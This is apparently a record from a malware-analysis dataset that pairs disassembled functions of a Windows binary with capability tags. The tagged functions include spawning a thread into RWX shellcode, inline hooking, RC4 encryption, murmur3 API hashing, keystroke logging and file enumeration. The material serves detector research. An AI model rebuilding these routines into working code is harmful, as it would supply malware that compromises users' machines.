joyce8/EMBER2024-capa huggingface dataset:
Function at 0xe14360
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.00e12690
push eax
call fcn.00e126a0
add esp, 4
mov dword [ebp - 8], eax
call fcn.00e120c0
call fcn.00e17e40
call fcn.00e13940
test eax, eax
jne 0xe14394
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0xe14381
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x18
call fcn.00e23570
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov dword [edx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x14], eax
push 0x99999999
push 0xe14300
call fcn.00e142c0
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call fcn.00e23770
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push eax
push 0xe14300
mov ecx, dword [ebp - 0x14]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
push 0x40
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call fcn.00e11ba0
add esp, 4
push 0xdead
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0xe14510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 8
call fcn.00e23770
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx], eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
push 0xe14490
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0xe14568
mov eax, dword [ebp - 4]
push eax
call fcn.00e23970
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0xe14580
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
shr eax, 0x10
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x85ebca6b
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
shr edx, 0xd
xor edx, dword [ebp + 8]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 8]
imul eax, eax, 0xc2b2ae35
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
shr ecx, 0x10
xor ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 8]
pop ebp
ret

Function at 0xe145d0
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00e15150
add esp, 8
movzx edx, al
test edx, edx
jne 0xe145f4
xor eax, eax
jmp 0xe1473c
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xcc9e2d51
mov dword [ebp - 0x10], 0x1b873593
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
lea ecx, [eax + edx*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
neg edx
mov dword [ebp - 0x28], edx
jmp 0xe1463e
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0xe1469b
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00e14570
add esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0xcc9e2d51
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
rol ecx, 0xf
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x1b873593
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
rol ecx, 0xd
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
imul edx, edx, 5
sub edx, 0x19ab949c
mov dword [ebp - 4], edx
jmp 0xe14635
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0xc]
and eax, 3
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
je 0xe146eb
cmp dword [ebp - 0x30], 2
je 0xe146db
cmp dword [ebp - 0x30], 3
je 0xe146cb
jmp 0xe14721
mov ecx, dword [ebp - 0xc]
movzx edx, byte [ecx + 2]
shl edx, 0x10
xor edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax + 1]
shl ecx, 8
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
imul ecx, ecx, 0xcc9e2d51
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
rol edx, 0xf
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x1b873593
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
call fcn.00e14580
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xe14f80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov eax, dword [ebp + 0x14]
mov cl, byte [eax + 0x100]
mov byte [ebp - 2], cl
mov edx, dword [ebp + 0x14]
mov al, byte [edx + 0x101]
mov byte [ebp - 1], al
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0xe14fb7
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jae 0xe15057
movzx ecx, byte [ebp - 2]
add ecx, 1
and ecx, 0xff
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
movzx edx, byte [ebp - 1]
add ecx, edx
and ecx, 0xff
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + eax]
mov byte [ebp - 3], dl
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 8]
mov esi, dword [ebp - 8]
mov al, byte [esi + eax]
mov byte [edx + ecx], al
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 8]
mov al, byte [ebp - 3]
mov byte [edx + ecx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
movzx ecx, byte [ebp - 1]
mov esi, dword [ebp - 8]
movzx ecx, byte [esi + ecx]
add eax, ecx
and eax, 0xff
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov byte [ecx], dl
jmp 0xe14fae
mov edx, dword [ebp + 0x14]
mov al, byte [ebp - 2]
mov byte [edx + 0x100], al
mov ecx, dword [ebp + 0x14]
mov dl, byte [ebp - 1]
mov byte [ecx + 0x101], dl
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xe177b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
push eax
push 0x40
push 5
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 5
mov edx, dword [ebp + 8]
push edx
call fcn.00e15190
add esp, 8
movzx eax, al
test eax, eax
je 0xe17819
mov byte [ebp - 0x10], 0xe9
mov ecx, dword [ebp + 8]
add ecx, 5
mov edx, dword [ebp + 0xc]
sub edx, ecx
mov dword [ebp - 0xf], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov dl, byte [ebp - 0xc]
mov byte [eax + 4], dl
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 5
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [ebp - 5], 1
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0xe178b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov dword [ebp - 8], 0
mov byte [ebp - 1], 0
cmp dword [ebp + 8], 0
jne 0xe178ce
jmp 0xe179d9
cmp dword [ebp + 0xc], 0
jne 0xe178d9
jmp 0xe179d9
push 0x24
call fcn.00e23570
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0xe178f1
jmp 0xe179d9
mov eax, dword [ebp - 8]
mov dword [eax], 1
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 8], ecx
push 0x19
call fcn.00e23770
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0xe17924
jmp 0xe179d9
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + 0x14], eax
push 0x2e
call fcn.00e23770
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0xe17945
jmp 0xe179d9
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov ecx, 0xb
mov esi, 0xe27754
mov edi, dword [ebp - 0x14]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
mov dword [eax + 7], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
mov dword [edx + 0x1d], eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0xc], 0xe135a0
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x22], 0xe13540
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x2e
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 8]
add edx, 0x18
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00e17110
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0xe179b9
jmp 0xe179d9
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00e17860
add esp, 4
mov byte [ebp - 1], al
xor edx, edx
jne 0xe178c3
movzx eax, byte [ebp - 1]
test eax, eax
jne 0xe179f4
mov ecx, dword [ebp - 8]
push ecx
call fcn.00e17820
add esp, 4
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xe17a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push 0x40
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call fcn.00e15190
add esp, 8
movzx eax, al
test eax, eax
jne 0xe17a43
jmp 0xe17aaa
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x18]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov byte [ebp - 1], 1
xor ecx, ecx
jne 0xe17a0a
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0xe18ce0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0x14], 0
jne 0xe18cf1
jmp 0xe18ea4
xor eax, eax
mov word [ebp - 0x10], ax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
je 0xe18d41
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
shr edx, 3
mov eax, dword [ebp + 8]
movzx cx, byte [eax + edx]
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
mov ecx, 8
sub ecx, dword [ebp - 0x14]
sar edx, cl
mov word [ebp - 0x10], dx
mov eax, dword [ebp + 0xc]
shr eax, 3
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x14]
add ecx, 7
shr ecx, 3
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0xe18d68
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0xe18ea4
mov ecx, dword [ebp - 8]
sub ecx, 1
cmp dword [ebp - 4], ecx
je 0xe18da0
movzx edx, word [ebp - 0x10]
shl edx, 8
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x10], dx
mov edx, dword [ebp - 0x14]
add edx, 8
mov dword [ebp - 0x14], edx
jmp 0xe18df9
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
jne 0xe18db9
mov dword [ebp - 0x24], 8
jmp 0xe18dc8
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
shl eax, cl
mov ecx, dword [ebp + 0x10]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx]
mov ecx, 8
sub ecx, dword [ebp - 0x18]
sar edx, cl
or eax, edx
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
setne dl
xor eax, eax
cmp dword [ebp - 0x14], 8
setge al
and edx, eax
jne 0xe18e2f
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
sete dl
xor eax, eax
cmp dword [ebp - 0x14], 0
setg al
and edx, eax
je 0xe18e9f
cmp dword [ebp - 0x14], 8
jle 0xe18e3e
mov dword [ebp - 0x28], 8
jmp 0xe18e44
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x1c]
sar eax, cl
mov byte [ebp - 0x1d], al
movzx edx, byte [ebp - 0x1d]
mov ecx, 8
sub ecx, dword [ebp - 0x1c]
shl edx, cl
mov byte [ebp - 0x1d], dl
mov eax, 0xff00
mov ecx, dword [ebp - 0x1c]
sar eax, cl
movzx ecx, byte [ebp - 0x1d]
and ecx, eax
mov byte [ebp - 0x1d], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0x1d]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
jmp 0xe18df9
jmp 0xe18d5f
mov esp, ebp
pop ebp
ret
Function at 0xe1e340
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00e1f8c0
add esp, 8
mov dword [ebp + 0xc], eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00e1e080
add esp, 8
movzx ecx, al
test ecx, ecx
je 0xe1e4de
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x20]
mov ecx, dword [eax + 0x108]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0xc]
je 0xe1e4de
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00e1e290
add esp, 8
movzx edx, al
test edx, edx
je 0xe1e4de
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00e1e120
add esp, 8
movzx edx, ax
and edx, 0xd
jne 0xe1e4de
push 1
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00e1f9e0
add esp, 0x14
mov eax, dword [ebp - 4]
push eax
call fcn.00e1e4f0
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0xe1e454
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 8], eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0xe1e472
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x30]
and eax, 0x400
jne 0xe1e4de
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x778]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0xe1e2e0
mov eax, dword [ebp + 0xc]
push eax
push 0xe270a0
push 0
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x778]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x20]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x108], edx
push 3
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esp, ebp
pop ebp
ret
Function at 0xe1faa0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push 0xa0743ab4
push 0xd
push 0xe24e18
call fcn.00e117f0
add esp, 0xc
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.00e16d40
add esp, 0xc
cmp dword [ebp - 4], 0
je 0xe1fb9e
mov dword [ebp - 0x258], 0
push 0x24c
push 0
lea edx, [ebp - 0x254]
push edx
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
je 0xe1fb9c
mov edx, dword [ebp - 0x258]
and edx, 0x10
jne 0xe1fb33
jmp 0xe1fb77
movzx eax, word [ebp - 0x22c]
cmp eax, 0x2e
jne 0xe1fb41
jmp 0xe1fb77
lea ecx, [ebp - 0x22c]
push ecx
push 0xe09d886a
push 0xb
push 0xe24e28
call fcn.00e117f0
add esp, 0xc
push eax
lea edx, [ebp - 8]
push edx
call fcn.00e16d40
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0xe1fb77
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0xe1fb26
mov edx, dword [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0xe1fba6
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 4]
push eax
call fcn.00e23970
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0xe1fbc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], 0
je 0xe1fbe6
cmp dword [ebp + 0x10], 0
jne 0xe1fbed
xor eax, eax
jmp 0xe1fc6d
mov ecx, dword [ebp + 0x10]
sub ecx, 1
mov dword [ebp + 0x10], ecx
je 0xe1fc5d
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 0xd]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0xe1fc18
cmp dword [ebp - 8], 1
je 0xe1fc1a
jmp 0xe1fc5d
movsx edx, byte [ebp - 0xd]
cmp edx, 0xa
jne 0xe1fc2d
cmp dword [ebp - 4], 0
je 0xe1fc2b
jmp 0xe1fc5d
jmp 0xe1fc5b
movsx eax, byte [ebp - 0xd]
cmp eax, 0xd
jne 0xe1fc40
cmp dword [ebp - 4], 0
je 0xe1fc3e
jmp 0xe1fc5d
jmp 0xe1fc5b
mov dword [ebp - 4], 1
movsx cx, byte [ebp - 0xd]
mov edx, dword [ebp - 0xc]
mov word [edx], cx
mov eax, dword [ebp - 0xc]
add eax, 2
mov dword [ebp - 0xc], eax
jmp 0xe1fbed
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov word [edx], cx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp + 0xc]
sar eax, 1
mov esp, ebp
pop ebp
ret
Function at 0xe201f0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov byte [ebp - 5], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0xe20224
jmp 0xe2033f
mov dword [ebp - 0x18], 0
cmp dword [ebp + 0xc], 0
je 0xe2023e
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
lea ecx, [eax + edx + 0x1b]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
shl edx, 1
push edx
call fcn.00e23770
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0xe2026f
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0xe2033f
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0xe2028f
jmp 0xe2033f
cmp dword [ebp + 0xc], 0
je 0xe202a3
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0xfbda1361
push 6
push 0xe24ec8
call fcn.00e117f0
add esp, 0xc
push eax
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0xf6efd142
push 9
push 0xe24ed0
call fcn.00e117f0
add esp, 0xc
push eax
lea edx, [ebp - 4]
push edx
call fcn.00e16d40
add esp, 0x10
push 0xfbda1361
push 6
push 0xe24ec8
call fcn.00e117f0
add esp, 0xc
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x5c21e4eb
push 9
push 0xe24ba0
call fcn.00e117f0
add esp, 0xc
push eax
call fcn.00e225e0
add esp, 0xc
test eax, eax
setne al
mov byte [ebp - 5], al
xor ecx, ecx
jne 0xe20208
mov edx, dword [ebp - 4]
push edx
call fcn.00e23970
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call fcn.00e23970
add esp, 4
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret